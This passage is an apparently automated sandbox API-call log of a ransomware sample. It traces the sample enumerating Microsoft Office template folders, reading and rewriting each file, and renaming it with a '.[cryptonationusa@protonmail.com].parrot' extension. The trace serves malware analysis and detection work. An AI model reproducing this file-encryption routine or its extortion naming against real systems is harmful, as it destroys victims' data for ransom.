lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19136e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x19136e00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0236.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0236.676] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0236.676] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.676] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0236.676] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0236.676] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0236.676] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0236.676] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0236.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0236.679] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0236.679] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.679] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0236.679] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0236.680] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0236.680] lstrcmpW (lpString1="Access", lpString2=".") returned 1 [0236.680] lstrcmpW (lpString1="Access", lpString2="..") returned 1 [0236.680] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0236.681] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0236.681] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0236.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0236.682] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1 [0236.683] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.683] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0236.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.685] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfd04e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfd04e, lpOverlapped=0x0) returned 1 [0236.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.817] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0236.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.836] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0236.876] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.877] WriteFile (in: hFile=0x27c, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0236.882] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.882] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0236.885] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1af515, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.885] CloseHandle (hObject=0x27c) returned 1 [0236.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.896] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.897] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0236.898] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.899] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd45ac, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd45ac, lpOverlapped=0x0) returned 1 [0236.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.037] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0237.054] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0237.054] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.054] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0237.054] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0237.054] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1 [0237.055] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.055] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.057] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.057] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1141, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1141, lpOverlapped=0x0) returned 1 [0237.058] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.065] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.065] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.067] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.067] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x110c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x110c, lpOverlapped=0x0) returned 1 [0237.068] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.075] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.075] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.077] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.077] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1134, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1134, lpOverlapped=0x0) returned 1 [0237.079] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.097] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.097] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.098] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1109, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1109, lpOverlapped=0x0) returned 1 [0237.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.108] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.109] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.110] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10d2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10d2, lpOverlapped=0x0) returned 1 [0237.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.117] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.117] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.118] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x112d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x112d, lpOverlapped=0x0) returned 1 [0237.119] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.126] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.127] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.128] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1062, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1062, lpOverlapped=0x0) returned 1 [0237.130] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.136] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.136] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.138] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1135, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1135, lpOverlapped=0x0) returned 1 [0237.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.145] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.145] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.146] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.147] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f7, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10f7, lpOverlapped=0x0) returned 1 [0237.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.153] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0237.153] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x195d38a0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x195d38a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.153] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, 